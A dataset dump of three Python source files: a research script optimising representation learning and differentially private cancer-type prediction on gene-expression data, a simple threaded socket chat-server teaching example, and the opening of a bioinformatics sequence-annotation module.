[0],\n\n # representation learning algorithm\n #repr_alg = \"VAE\",\n #repr_alg = \"rand_proj\",\n repr_alg = \"PCA\",\n\n run_param_opt = False,\n param_opt_continue = False,\n run_learn_and_map = True,\n)\n\n## the parameters that will be optimized\ngeneral_param_domain = [\n {'name': 'repr_dim', 'type': 'discrete', 'domain': list(range(2, 20+1))},\n ]\ngeneral_param_constraints = []\n\n# slurm args\n\nslurm_cpu_args = {\n \"time\": \"2:00:00\",\n \"mem\": \"16G\",\n \"partition\": \"short\",\n \"constraint\": \"hsw\",\n \"cpus-per-task\": \"1\",\n}\n\nslurm_gpu_args = {\n \"time\": \"2:00:00\",\n \"mem\": \"16G\",\n \"partition\": \"gpushort\",\n \"gres\": \"gpu:1\",\n \"constraint\": \"hsw\",\n \"cpus-per-task\": \"1\",\n}\n\n\n## parameters for parameter optimization\n\n#gpyopt_batch_size = 1\n#gpyopt_max_iter = 1\ngpyopt_batch_size = 1\ngpyopt_max_iter = 100\n#gpyopt_max_duration = None\n#gpyopt_max_duration = datetime.timedelta(minutes=5)\ngpyopt_max_duration = datetime.timedelta(hours=120)\ngpyopt_deadline = None\n\n# substitute result given to gpyopt in the case of failures\ngpyopt_fail_res = 0.5\ngpyopt_fail_res_std = 0.02 # To make sure, that gpyopt does not think that the function\n # (that is being optimized) is deterministic. \n # Not sure, if this is really needed.\n\n\n## other parameters\n\ntest_id = \"\"\n\n## model definitions and model-specific parameters for representation learning\ndef select_repr_alg(repr_alg):\n if repr_alg == \"VAE\":\n # fixed parameters\n fixed_params = SimpleNamespace(\n #repr_learn_max_duration = datetime.timedelta(minutes=1),\n repr_learn_max_duration = datetime.timedelta(hours=1),\n repr_learn_validation_split = 0.2,\n )\n # the parameters that will be optimized\n opt_param_domain = [\n {'name': 'learning_rate_log10', 'type': 'continuous', 'domain': (-6,-2)},\n {'name': 'n_hidden_layers', 'type': 'discrete', 'domain': [1, 2, 3]},\n {'name': 'hidden_layer_size_mul_log10', 'type': 'continuous', 'domain': (0,4)},\n ]\n # any constraints for the parameters that will be optimized\n opt_param_constraints = []\n # alg construction\n def make_alg(data_dim, repr_dim, params):\n from models.vae_pytorch import VAE\n alg = VAE().init(\n input_dim = data_dim,\n latent_dim = repr_dim,\n #enc_dims = [],\n enc_dims = [int(10 ** params.hidden_layer_size_mul_log10)*repr_dim] * int(params.n_hidden_layers),\n dec_dims = 'same',\n enc_activations = 'relu',\n dec_activations = 'relu',\n prediction_mean_activation = 'sigmoid',\n prediction_var = 'gs',\n prediction_log_var_min = math.log(0.01**2),\n normalize_input_type = 'quantiles',\n normalize_input_quantile = 0.05,\n normalize_input_axis = 'global',\n normalize_input_target = (0, 1),\n normalize_input_clip = True,\n #input_dropout = params.input_dropout,\n #enc_dropout = params.enc_dropout,\n #dec_dropout = params.dec_dropout,\n optimizer = 'Adam',\n optimizer_params = {'lr': 10.0 ** params.learning_rate_log10},\n n_epochs = 2000,\n #n_epochs = 1,\n early_stopping = True,\n reduce_lr_on_plateau = False,\n batch_size = 64)\n return alg\n slurm_args = slurm_gpu_args\n \n elif repr_alg == \"PCA\":\n # fixed parameters\n fixed_params = SimpleNamespace(\n repr_learn_max_duration = None,\n repr_learn_validation_split = 0,\n )\n # the parameters that will be optimized\n opt_param_domain = []\n # any constraints for the parameters that will be optimized\n opt_param_constraints = []\n # alg construction\n def make_alg(data_dim, repr_dim, params):\n from models.pca import PCA\n alg = PCA().init(\n input_dim = data_dim,\n output_dim = repr_dim)\n return alg\n slurm_args = slurm_cpu_args\n \n elif repr_alg == \"rand_proj\":\n # fixed parameters\n fixed_params = SimpleNamespace(\n repr_learn_max_duration = None,\n repr_learn_validation_split = 0,\n )\n # the parameters that will be optimized\n opt_param_domain = []\n # any constraints for the parameters that will be optimized\n opt_param_constraints = []\n # alg construction\n def make_alg(data_dim, repr_dim, params):\n from models.rand_proj import RandomProjection\n alg = RandomProjection().init(\n input_dim = data_dim,\n output_dim = repr_dim)\n return alg\n slurm_args = slurm_cpu_args\n \n else:\n assert False, \"invalid alg\"\n \n return (fixed_params, opt_param_domain, opt_param_constraints, make_alg, slurm_args)\n\n\n## parameters for predictions\n\npred_params = SimpleNamespace(\n # fraction of data to use for prediction testing (instead of training)\n #pred_test_size = 0.3,\n pred_cv_folds = 10,\n\n # how to scale data before clipping to 1-ball\n #pred_scale_fun = \"none\", pred_scale_const = 1.0,\n #pred_scale_fun = \"norm_max\", pred_scale_const = 1.01,\n #pred_scale_fun = \"dims_max\", pred_scale_const = 1.0,\n pred_scale_fun = \"norm_avg\", pred_scale_const = 1.0,\n #pred_scale_fun = \"dims_std\", pred_scale_const = 1.0,\n\n # how to clip the (scaled) data to 1-ball\n #pred_clip = \"none\",\n pred_clip = \"norm\",\n #pred_clip = \"dims\",\n pred_bounding_slack = 0.01, # need some slack due to rounding errors\n\n # DP privacy status and epsilon\n pred_private = True,\n pred_epsilon = 1.0,\n\n # weight regularizer\n pred_regularizer_strength = 0.1,\n)\n\n\n\n################################################################################\n# END OF SETUP\n################################################################################\n\ndef cross_entropy(x, x_pred):\n epsilon = 10e-8\n x_pred = np.clip(x_pred, epsilon, 1.0 - epsilon)\n return -np.average(np.sum(x * np.log(x_pred), axis=1))\n\ndef relative_cross_entropy(x, x_pred):\n x_avg = np.average(x, axis=0)\n return cross_entropy(x, x_pred) / cross_entropy(x, x_avg)\n\ndef mean_squared_error(x, x_pred):\n return np.average((x - x_pred) ** 2)\n\ndef relative_mean_squared_error(x, x_pred):\n mse = mean_squared_error(x, x_pred)\n x_avg = np.average(x, axis=0)\n return mse / np.average((x - x_avg) ** 2)\n\ndef get_params(params, domain):\n p = dict()\n for i, var in enumerate(domain):\n p[var['name']] = params[i]\n return SimpleNamespace(**p)\n\ndef run_optimization(args, fixed_params, domain, constraints, batch_size, max_iter, max_duration=None, deadline=None, slurm_args=None):\n logging.info('Starting parameter optimization...')\n import GPyOpt\n ensure_dir_exists(\"param_opt\")\n\n if max_duration is not None:\n new_dl = datetime.datetime.now() + max_duration\n if deadline is None or new_dl < deadline:\n deadline = new_dl\n\n # initial parameters and values\n if fixed_params.param_opt_continue:\n logging.info('Loading earlier params and results...')\n all_params = np.load(\"param_opt/opt_params-%s.npy\" % (fixed_params.test_name))\n all_results = np.load(\"param_opt/opt_results-%s.npy\" % (fixed_params.test_name))\n opt_seeds = range(len(all_params))\n else:\n logging.info('Selecting initial parameters...')\n initial_design_type = 'random'\n initial_design_numdata = batch_size\n space = GPyOpt.core.task.space.Design_space(domain, constraints)\n opt_params = GPyOpt.experiment_design.initial_design(initial_design_type, space, initial_design_numdata)\n logging.info('Running...')\n opt_seeds = range(len(opt_params))\n task_params = [get_params(p, domain) for p in opt_params]\n results = run_optimization_batch(args, fixed_params, task_params, opt_seeds, slurm_args)\n all_params = opt_params\n all_results = results\n\n for i in range(max_iter):\n #print(np.hstack((all_params, all_results)), flush=True)\n logging.info('Best result this far: %g', np.amax(all_results))\n logging.info('Selecting a new set of parameters...')\n bo = GPyOpt.methods.BayesianOptimization(f=None,\n domain = domain,\n X = all_params,\n Y = -all_results,\n acquisition_type = 'EI',\n normalize_Y = True,\n evaluator_type = 'local_penalization',\n batch_size = batch_size,\n acquisition_jitter = 0,\n maximize = False)\n\n opt_params = bo.suggest_next_locations()\n next_seed = max(opt_seeds) + 1\n opt_seeds = range(next_seed, next_seed + len(opt_params))\n logging.info('Running...')\n task_params = [get_params(p, domain) for p in opt_params]\n results = run_optimization_batch(args, fixed_params, task_params, opt_seeds, slurm_args)\n all_params = np.vstack((all_params, opt_params))\n all_results = np.vstack((all_results, results))\n np.save(\"param_opt/opt_params-%s.npy\" % (fixed_params.test_name), all_params)\n np.save(\"param_opt/opt_results-%s.npy\" % (fixed_params.test_name), all_results)\n\n if datetime.datetime.now() >= deadline:\n logging.info('Gpyopt iteration %d: Time based stopping' % (i))\n break\n\n all_params = [get_params(p, domain) for p in all_params]\n all_results = list(all_results)\n\n filename = \"param_opt/paramopt-%s.txt\" % (fixed_params.test_name)\n logging.info(\"Writing params and result to '%s'\" % filename)\n with open(filename, 'wb') as f:\n pickle.dump(all_params, f)\n pickle.dump(all_results, f)\n\n best_params_id = np.argmax(all_results)\n best_params = all_params[best_params_id]\n best_result = all_results[best_params_id]\n logging.info('Final best result: %g', best_result)\n logging.info(' * obtained with: %s', best_params)\n\n filename = \"res/paramopt_best_result-%s.txt\" % (fixed_params.test_name)\n logging.info(\"Writing best result to '%s'\" % filename)\n np.savetxt(filename, best_result)\n\n filename = \"param_opt/paramopt_best_params-%s.txt\" % (fixed_params.test_name)\n logging.info(\"Writing best params to '%s'\" % filename)\n with open(filename, 'wb') as f:\n pickle.dump(best_params, f)\n\n return best_params\n\n\ndef run_optimization_batch(args, fixed_params, task_params, seeds, slurm_args=None):\n ensure_dir_exists(\"run_parameters\")\n param_ids = range(len(task_params))\n for param, seed, param_id in zip(task_params, seeds, param_ids):\n param.param_id = param_id\n param.seed = seed\n assert len(task_params) == gpyopt_batch_size\n\n res = np.zeros((len(task_params), fixed_params.param_opt_folds))\n for fold in range(fixed_params.param_opt_folds):\n val_cancertype_pairs = [ctp for (i, ctp) in enumerate(cancer_type_pairs)\n if i % fixed_params.param_opt_folds == fold]\n learn_cancertype_pairs = [ctp for (i, ctp) in enumerate(cancer_type_pairs)\n if i % fixed_params.param_opt_folds != fold]\n assert (len(val_cancertype_pairs) + len(learn_cancertype_pairs) ==\n len(cancer_type_pairs))\n \n common_params = SimpleNamespace(\n **fixed_params.__dict__,\n priv_cancertype_pairs=val_cancertype_pairs,\n pub_cancertypes=sum(learn_cancertype_pairs, []),\n task_type='paramopt',\n )\n args.wait = True\n batch2.run_tasks(args, common_params, task_params, slurm_args=slurm_args,\n params_file=(\"run_parameters/batch-%s.pkl\" % (fixed_params.test_name)))\n # get results\n for param_id in param_ids:\n full_model_id = \"%s-%s\" % (fixed_params.test_name, param_id)\n filename = \"param_opt/opt_result-%s.txt\" % (full_model_id)\n try:\n res[param_id, fold] = np.loadtxt(filename)\n import os\n os.remove(filename)\n except:\n res[param_id, fold] = gpyopt_fail_res + np.random.randn() * gpyopt_fail_res_std\n logging.info('Warning, could not load \"%s\"' % filename)\n return np.mean(res, axis=1, keepdims=True)\n\n\ndef run_learning_and_mapping(args, fixed_params, task_param, seeds, slurm_args=None):\n logging.info('Running final tests with...')\n import copy\n task_params = [copy.copy(task_param) for s in seeds]\n param_ids = range(len(task_params))\n for param, seed, param_id in zip(task_params, seeds, param_ids):\n param.param_id = param_id\n param.seed = seed\n ensure_dir_exists(\"run_parameters\")\n\n common_params = SimpleNamespace(\n **fixed_params.__dict__,\n priv_cancertype_pairs=[],\n pub_cancertypes=sum(cancer_type_pairs, []),\n task_type='learn_and_map',\n )\n args.wait = True\n batch2.run_tasks(args, common_params, task_params, slurm_args=slurm_args,\n params_file=(\"run_parameters/batch-%s.pkl\" % (fixed_params.test_name)))\n\n\n# the task function that is run with each argument combination\ndef task(common_params, task_params):\n # add logging file\n log_file_name = \"log/opttest-task-%s-%s-s%d.log\" % (common_params.test_name,\n common_params.task_type, task_params.seed)\n log_file_handler = logging.FileHandler(log_file_name, mode='w')\n log_file_handler.setFormatter(log_file_formatter)\n logging.getLogger().addHandler(log_file_handler)\n\n logging.info(\"test_name = %s\", common_params.test_name)\n logging.info(\"params_id = %s\", task_params.param_id)\n logging.info(\"Running with params: %s\" % task_params)\n params = SimpleNamespace(**common_params.__dict__, **task_params.__dict__)\n\n (gene_expr, cancer_type) = load_data()\n\n # split\n logging.info(\"Splitting...\")\n \n logging.info(\" * private cancertype pairs: %s\" % params.priv_cancertype_pairs)\n logging.info(\" * public cancertypes: %s\" % params.pub_cancertypes)\n\n priv_cancertypes = sum(params.priv_cancertype_pairs, [])\n priv = cancer_type.isin(priv_cancertypes)\n pub = cancer_type.isin(params.pub_cancertypes)\n\n logging.info(\" * %d private samples, %d public samples (of %d total)\" %\n (sum(priv), sum(pub), priv.size))\n\n from common import categorical_to_binary\n\n x_pub = gene_expr[pub].as_matrix()\n y_pub = cancer_type[pub].cat.codes.as_matrix()\n\n seed = int(params.seed)\n # init rng \n np.random.seed(seed)\n import torch\n torch.manual_seed(seed)\n if torch.cuda.is_available() and torch.cuda.device_count() > 0:\n torch.cuda.manual_seed(seed)\n\n full_model_id = \"%s-%s\" % (common_params.test_name, task_params.param_id)\n\n logging.info(\"Representation learning...\")\n repr_alg = learn_repr(x_pub, y_pub, params, full_model_id)\n x_pub_repr = map_repr(x_pub, repr_alg, params, full_model_id)\n\n if params.task_type == 'paramopt':\n acc = np.zeros(len(params.priv_cancertype_pairs))\n for p, priv_cancertype_pair in enumerate(params.priv_cancertype_pairs):\n logging.info(\"Prediction with private cancertypes %s...\" % priv_cancertype_pair)\n priv = cancer_type.isin(priv_cancertype_pair)\n x_priv = gene_expr[priv].as_matrix()\n y_priv = cancer_type[priv].cat.codes.as_matrix()\n x_priv_repr = map_repr(x_priv, repr_alg, params, full_model_id)\n acc[p] = predict(x_priv_repr, y_priv, x_pub_repr, params, full_model_id)\n\n avg_acc = np.mean(acc)\n logging.info(\"Total average prediction accuracy: %.6f\" % avg_acc)\n \n logging.info(\"Writing results to disk...\")\n filename = \"param_opt/opt_result-%s.txt\" % (full_model_id)\n logging.info(\" * filename: %s\", filename)\n with open(filename, 'w', encoding='utf-8') as f:\n f.write(\"%.6f\\n\" % avg_acc)\n\n elif params.task_type == 'learn_and_map':\n gdsc_gene_expr = load_gdsc_data()\n x_gdsc = gdsc_gene_expr.as_matrix()\n x_gdsc_repr = map_repr(x_gdsc, repr_alg, params, full_model_id)\n \n logging.info(\"Saving the representation...\")\n ensure_dir_exists(\"data_repr\")\n np.savetxt(\"data_repr/%s-%s.csv\" % (gdsc_data_set, full_model_id),\n x_gdsc_repr, delimiter=',')\n else:\n assert False, \"invalid task type\"\n\n\ndef load_data():\n import pandas\n logging.info(\"Reading data...\")\n gene_expr = pandas.read_hdf(\"data/%s.h5\" % (data_set), data_type)\n logging.info(\" * gene expression shape: %d x %d\" % gene_expr.shape)\n\n logging.info(\"Loading cancer types...\")\n cancer_type = pandas.read_hdf(\"data/%s.h5\" % (target_set), target_type)\n logging.info(\" * cancer type samples: %d\" % cancer_type.shape)\n #assert np.array_equal(gene_expr.index, cancer_type.index)\n\n logging.info(\"Taking only common samples...\")\n common_samples = gene_expr.index.intersection(cancer_type.index)\n gene_expr = gene_expr.loc[common_samples]\n cancer_type = cancer_type.loc[common_samples]\n logging.info(\" * number of common samples: %d\" % common_samples.size)\n\n return (gene_expr, cancer_type)\n\n\ndef load_gdsc_data():\n import pandas\n logging.info(\"Reading GDSC data...\")\n gene_expr = pandas.read_hdf(\"data/%s.h5\" % (gdsc_data_set), gdsc_data_type)\n logging.info(\" * gene expression shape: %d x %d\" % gene_expr.shape)\n\n return gene_expr\n\n\n##################################\n# representation learning\n#################################\n\ndef learn_repr(x, y, params, full_model_id):\n\n # separate validation set if needed\n val_x = None\n #val_y = None\n if params.repr_learn_validation_split:\n logging.info(\"Splitting into training and validation sets\")\n from sklearn.model_selection import train_test_split\n train_x, val_x, train_y, val_y = train_test_split(x, y, test_size=params.repr_learn_validation_split, random_state=0)\n x, y = train_x, train_y\n logging.info(\" * training set shape: %d x %d\" % x.shape)\n logging.info(\" * validation set shape: %d x %d\" % val_x.shape)\n \n data_dim = x.shape[1]\n logging.info(\" * data shape after preprocessing: %d x %d\" % x.shape)\n\n repr_dim = int(round(params.repr_dim))\n\n logging.info(\"Learning the representation on public data...\")\n logging.info(\" * learning a representation of size %d\", repr_dim)\n start_time = time.time()\n \n (_, _, _, make_alg, _) = select_repr_alg(params.repr_alg)\n\n # init the algorithm\n #alg = make_alg(data_dim, repr_dim, num_classes)\n #alg = make_alg(data_dim, repr_dim)\n alg = make_alg(data_dim, repr_dim, params)\n # create output dir if does not exist\n #ensure_dir_exists('res')\n\n # define the progress saving function\n ensure_dir_exists('param_opt/progress')\n progress_filename = 'param_opt/progress/encdec-mse-%s.txt' % (full_model_id)\n progress_file = open(progress_filename, 'w', encoding='utf-8')\n #aux_progress_filename = 'param_opt/progress/aux-ce-%s.txt' % (full_model_id)\n #aux_progress_file = open(aux_progress_filename, 'w', encoding='utf-8')\n if val_x is not None:\n val_progress_filename = 'param_opt/progress/encdec-validation-mse-%s.txt' % (full_model_id)\n val_progress_file = open(val_progress_filename, 'w', encoding='utf-8')\n #aux_val_progress_filename = 'param_opt/progress/aux-validation-ce-%s.txt' % (full_model_id)\n #aux_val_progress_file = open(aux_val_progress_filename, 'w', encoding='utf-8')\n def save_progress():\n x_pred = alg.decode(alg.encode(x))\n rel_mse = relative_mean_squared_error(x, x_pred)\n progress_file.write(\"%g\\n\" % rel_mse)\n #aux_pred = alg.predict_secondary(x)\n #aux_rel_ce = relative_cross_entropy(y, aux_pred)\n #aux_progress_file.write(\"%g\\n\" % aux_rel_ce)\n if val_x is not None:\n val_x_pred = alg.decode(alg.encode(val_x))\n rel_mse = relative_mean_squared_error(val_x, val_x_pred)\n val_progress_file.write(\"%g\\n\" % rel_mse)\n #val_aux_pred = alg.predict_secondary(val_x)\n #aux_rel_ce = relative_cross_entropy(val_y, val_aux_pred)\n #aux_val_progress_file.write(\"%g\\n\" % aux_rel_ce)\n \n # fit to the training data\n ensure_dir_exists(\"param_opt/log/\")\n alg.learn(x, validation_data=val_x,\n log_file_prefix=(\"param_opt/log/%s\" % (full_model_id)),\n per_epoch_callback_funs=[save_progress],\n deadline=None, max_duration=params.repr_learn_max_duration)\n\n # test reconstruction error\n x_pred = alg.decode(alg.encode(x))\n rel_mse = relative_mean_squared_error(x, x_pred)\n if val_x is not None:\n val_x_pred = alg.decode(alg.encode(val_x))\n val_rel_mse = relative_mean_squared_error(val_x, val_x_pred)\n else:\n val_rel_mse = np.nan\n logging.info(\" * final error: rel_mse = %g, val_rel_mse = %g\",\n rel_mse, val_rel_mse)\n\n elapsed = time.time() - start_time\n logging.info(\" * running time = %s\", pretty_duration(elapsed))\n\n return alg\n\n\n##################################\n# representation mapping\n#################################\n\ndef map_repr(x, alg, params, full_model_id):\n\n # get the representation\n logging.info(\"Making the representation of data...\")\n x_repr = alg.encode(x)\n logging.info(\" * representation shape: %d x %d\" % x_repr.shape)\n\n # test to predict the data itself\n x_pred = alg.decode(x_repr)\n rel_mse = relative_mean_squared_error(x, x_pred)\n logging.info(\" * reconstruct the data: rel_mse = %g\", rel_mse)\n\n return x_repr\n\n\n##################################\n# prediction\n#################################\n\ndef predict(x, y, x_pub, params, full_model_id):\n\n # test prediction with cross validation\n logging.info(\"Prediction with %d-fold cross validation...\", params.pred_cv_folds)\n from sklearn.model_selection import StratifiedKFold\n cv = StratifiedKFold(n_splits=params.pred_cv_folds, shuffle=True, random_state=0)\n avg_test_acc = 0\n for fold, (train, test) in enumerate(cv.split(x, y)):\n logging.info(\"Fold %d...\", fold)\n x_train, x_test, y_train, y_test = x[train], x[test], y[train], y[test]\n \n # init rng \n #np.random.seed(seed)\n\n logging.debug(\"Bounding the data to 1-sphere...\")\n if params.pred_scale_fun == \"norm_max\":\n logging.debug(\" * scale by max norm\")\n scale_factor = np.amax(np.linalg.norm(x_pub, axis=1))\n elif params.pred_scale_fun == \"dims_max\":\n logging.debug(\" * scale each dimension by max absolute value\")\n scale_factor = np.amax(np.abs(x_pub), axis=0)\n elif params.pred_scale_fun == \"norm_avg\":\n logging.debug(\" * scale by average norm\")\n scale_factor = np.mean(np.linalg.norm(x_pub, axis=1))\n elif params.pred_scale_fun == \"dims_std\":\n logging.debug(\" * scale each dimension by standard deviation\")\n scale_factor = np.std(x_pub, axis=0)\n elif params.pred_scale_fun == \"none\":\n scale_factor = 1.0\n else:\n assert False\n\n x_train /= scale_factor * params.pred_scale_const\n x_test /= scale_factor * params.pred_scale_const\n if params.pred_clip == \"norm\":\n logging.debug(\" * clip norms to max 1\")\n x_train /= np.maximum(np.linalg.norm(x_train, axis=1, keepdims=True) * (1 + params.pred_bounding_slack), 1)\n x_test /= np.maximum(np.linalg.norm(x_test, axis=1, keepdims=True) * (1 + params.pred_bounding_slack),1)\n elif params.pred_clip == \"dims\":\n assert False, \"not implemented\"\n elif params.pred_clip == \"none\":\n logging.debug(\" * no clipping -> no bounding\")\n assert params.pred_private == False #or np.isinf(epsilon)\n else:\n assert False\n\n # fit\n logging.debug(\"Fitting a model...\")\n if params.pred_private:\n logging.debug(\" * DP logistic regression: epsilon=%g, alpha=%g\", params.pred_epsilon, params.pred_regularizer_strength)\n from models.logistic_regression import DPLogisticRegression\n model = DPLogisticRegression().init(x.shape[1], classes=np.unique(y),\n alpha=params.pred_regularizer_strength, epsilon=params.pred_epsilon)\n else:\n logging.debug(\" * logistic regression: alpha=%g\", params.pred_regularizer_strength)\n from sklearn.linear_model import LogisticRegression\n model = LogisticRegression(C=1/params.pred_regularizer_strength)\n \n model.fit(x_train, y_train)\n #print(model.predict(x_test))\n\n # compute mean accuracy on test set\n logging.debug(\"Testing the model...\")\n #acc = model.score(x_test, y_test)\n from sklearn.metrics import accuracy_score\n train_acc = accuracy_score(y_train, model.predict(x_train))\n test_acc = accuracy_score(y_test, model.predict(x_test))\n logging.info(\" * train accuracy = %.6f\", train_acc)\n logging.info(\" * test accuracy = %.6f\", test_acc)\n avg_test_acc += test_acc\n \n avg_test_acc /= params.pred_cv_folds\n logging.info(\"Average test accuracy = %.6f\", avg_test_acc)\n \n return avg_test_acc\n\n\n########## MAIN ##########\n\ndef main(args):\n data_name = data_set\n test_params.test_name = \"%s%s-%s\" % (test_id, data_name, test_params.repr_alg)\n\n # add logging file\n log_file_name = \"log/opttest-main-%s.log\" % (test_params.test_name)\n log_file_handler = logging.FileHandler(log_file_name, mode='w')\n log_file_handler.setFormatter(log_file_formatter)\n logging.getLogger().addHandler(log_file_handler)\n\n # init seeds\n import random\n random.seed(test_params.main_seed)\n np.random.seed(test_params.main_seed)\n\n # get and combine parameters\n (repr_fixed_params, repr_opt_param_domain, repr_opt_param_constraints, make_alg, slurm_args) = select_repr_alg(test_params.repr_alg)\n domain = general_param_domain + repr_opt_param_domain\n constraints = general_param_constraints + repr_opt_param_constraints\n fixed_params = SimpleNamespace(\n **test_params.__dict__,\n **repr_fixed_params.__dict__,\n **pred_params.__dict__,\n )\n\n # optimize\n if fixed_params.run_param_opt:\n logging.info('Running parameter optimization...')\n best_params = run_optimization(args, fixed_params, domain, constraints, gpyopt_batch_size, gpyopt_max_iter, max_duration=gpyopt_max_duration, deadline=gpyopt_deadline, slurm_args=slurm_args)\n else:\n filename = \"param_opt/paramopt_best_params-%s.txt\" % (fixed_params.test_name)\n logging.info(\"Loading best params from '%s'\" % filename)\n with open(filename, 'rb') as f:\n best_params = pickle.load(f)\n\n # test\n if fixed_params.run_learn_and_map:\n logging.info('Running final learning and mapping...')\n run_learning_and_mapping(args, fixed_params, best_params, test_params.test_seeds, slurm_args=slurm_args)\n\n\n# run\nbatch2.run(task_fun=task, main_fun=main)\n\n","sub_path":"cancertype_prediction/optimize_repr_learning_params_and_map_gdsc.py","file_name":"optimize_repr_learning_params_and_map_gdsc.py","file_ext":"py","file_size_in_byte":28240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430052981","text":"# coding=utf-8\n__author__ = 'landing'\n__data__ = '2019/1/2 15:59'\n\"\"\"\nsocketServer - 服务端 发送http请求\n\n\"\"\"\nimport socket\nimport threading\n\n# 这里指代的就是TCP协议 (socket发送http请求.AF_INET(指定网络协议), socket发送http请求.SOCK_STREAM(指定Udp网络协议))\n# 这里的server也就是监听所需要的\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(('0.0.0.0', 8000)) # 绑定ip地址\nserver.listen() # 监听\n\n\n# 这里就是监听返回了 socket发送http请求 addrs 而这里的sock也就是我们client所需要传输进入的sock\n# 但是这样的server端只能接受一个请求数据,只要是一个客户端连接进入以后,其实就是在while True中出不来了,也就是\n# 这个时候的client就出现了阻塞的状态了,这样就出现了单对单的阻塞了,我们现在就是实现多个人的进入聊天\n# sock, addr = server.accept()\n\ndef hand_sock(sock, addr):\n while True:\n data = sock.recv(1024)\n print(data.decode(\"utf8\"))\n re_data = input() # 手动输入返回数据\n sock.send(re_data.encode(\"utf8\"))\n\n\nwhile True:\n sock, addr = server.accept()\n # 这个时候我们就需要实现多线程的方式,来实现聊天室的功能\n # 用线程的方式来处理新接收的连接(用户)\n client_thread = threading.Thread(target=hand_sock, args=(sock, addr))\n client_thread.start() # 这里我们就是开始启动线程啦 这样的形式我们就是可以实现一个聊天室的功能啦\n\n # data = sock.recv(1024)\n # print(data.decode(\"utf8\"))\n # re_data = input() # 手动输入返回数据\n # sock.send(re_data.encode(\"utf8\"))\n","sub_path":"isMe_高级/isMe10_Ten_Socket编程/socket发送http请求/s2-socketserver_http.py","file_name":"s2-socketserver_http.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"231901598","text":"import copy\nimport json\n\nfrom collections import defaultdict\nfrom fnmatch import fnmatch\n\nimport numpy\n\nfrom cogent3.util.misc import get_object_provenance\n\nfrom .location import Map, as_map\n\n\n__author__ = \"Peter Maxwell and Gavin Huttley\"\n__copyright__ = \"Copyright 2007-2020, The Cogent Project\"\n__credits__ = [\"Peter Maxwell\", \"Gavin Huttley\"]\n__license__ = \"BSD-3\"\n__version__ = \"2020.2.7a\"\n__maintainer__ = \"Gavin Huttley\"\n__email__ = \"gavin.huttley@anu.edu.au\"\n__status__ = \"Production\"\n\n\nclass _Annotatable:\n # default\n annotations = ()\n\n # Subclasses should provide __init__, getOwnTracks, and a _mapped for use by\n # __getitem__\n\n def _sliced_annotations(self, new, slice):\n result = []\n if self.annotations:\n slicemap = self._as_map(slice)\n # try:\n newmap = slicemap.inverse()\n # except ValueError, detail:\n # print \"Annotations dropped because %s\" % detail\n # return []\n if slicemap.useful:\n for annot in self.annotations:\n if not annot.map.useful:\n continue\n if (\n annot.map.start < slicemap.end\n and annot.map.end > slicemap.start\n ):\n annot = annot.remapped_to(new, newmap)\n if annot.map.useful:\n result.append(annot)\n return result\n\n def _shifted_annotations(self, new, shift):\n result = []\n if self.annotations:\n newmap = Map([(shift, shift + len(self))], parent_length=len(new))\n for annot in self.annotations:\n annot = annot.remapped_to(new, newmap)\n result.append(annot)\n return result\n\n def _as_map(self, index):\n \"\"\"Can take a slice, integer, map or feature, or even a list/tuple of those\"\"\"\n if type(index) in [list, tuple]:\n spans = []\n for i in index:\n spans.extend(self._as_map(i).spans)\n map = Map(spans=spans, parent_length=len(self))\n elif isinstance(index, _Feature):\n feature = index\n map = feature.map\n base = feature.parent\n containers = []\n while feature and base is not self and hasattr(base, \"parent\"):\n containers.append(base)\n base = base.parent\n if base is not self:\n raise ValueError(\n \"Can't map %s onto %s via %s\" % (index, repr(self), containers)\n )\n for base in containers:\n feature = feature.remapped_to(base, base.map)\n index = map\n else:\n map = as_map(index, len(self))\n return map\n\n def __getitem__(self, index):\n map = self._as_map(index)\n new = self._mapped(map)\n sliced_annots = self._sliced_annotations(new, map)\n new.attach_annotations(sliced_annots)\n if hasattr(self, \"_repr_policy\"):\n new._repr_policy.update(self._repr_policy)\n return new\n\n def _mapped(self, map):\n raise NotImplementedError\n\n def get_drawables(self):\n \"\"\"returns a dict of drawables, keyed by type\"\"\"\n result = defaultdict(list)\n for a in self.annotations:\n result[a.type].append(a.get_drawable())\n return result\n\n def add_annotation(self, klass, *args, **kw):\n annot = klass(self, *args, **kw)\n self.attach_annotations([annot])\n return annot\n\n def clear_annotations(self):\n self.annotations = []\n\n def get_drawable(self, width=600, vertical=False):\n \"\"\"returns Drawable instance\"\"\"\n from cogent3.draw.drawable import Drawable\n\n drawables = self.get_drawables()\n if not drawables:\n return None\n # we order by tracks\n top = 0\n space = 0.25\n annotes = []\n for feature_type in drawables:\n new_bottom = top + space\n for i, annott in enumerate(drawables[feature_type]):\n annott.shift(y=new_bottom - annott.bottom)\n if i > 0:\n annott._showlegend = False\n annotes.append(annott)\n\n top = annott.top\n\n top += space\n height = max((top / len(self)) * width, 300)\n xaxis = dict(range=[0, len(self)], zeroline=False, showline=True)\n yaxis = dict(range=[0, top], visible=False, zeroline=True, showline=True)\n\n if vertical:\n all_traces = [t.T.as_trace() for t in annotes]\n width, height = height, width\n xaxis, yaxis = yaxis, xaxis\n else:\n all_traces = [t.as_trace() for t in annotes]\n\n drawer = Drawable(\n title=self.name, traces=all_traces, width=width, height=height\n )\n drawer.layout.update(xaxis=xaxis, yaxis=yaxis)\n return drawer\n\n def attach_annotations(self, annots):\n for annot in annots:\n if annot.parent is not self:\n raise ValueError(\"doesn't belong here\")\n if annot.attached:\n raise ValueError(\"already attached\")\n if self.annotations is self.__class__.annotations:\n self.annotations = []\n self.annotations.extend(annots)\n for annot in annots:\n annot.attached = True\n\n def detach_annotations(self, annots):\n for annot in annots:\n if annot.parent is not self:\n raise ValueError(\"doesn't live here\")\n for annot in annots:\n if annot.attached:\n self.annotations.remove(annot)\n annot.attached = False\n\n def add_feature(self, type, name, spans):\n return self.add_annotation(Feature, type, name, spans)\n\n def get_annotations_matching(self, annotation_type, name=None, extend_query=False):\n \"\"\"\n\n Parameters\n ----------\n annotation_type : string\n name of the annotation type. Wild-cards allowed.\n name : string\n name of the instance. Wild-cards allowed.\n extend_query : boolean\n queries sub-annotations if True\n Returns\n -------\n list of AnnotatableFeatures\n \"\"\"\n result = []\n if len(self.annotations) == 0:\n return result\n for annotation in self.annotations:\n if fnmatch(annotation.type, annotation_type) and (\n name is None or fnmatch(annotation.name, name)\n ):\n 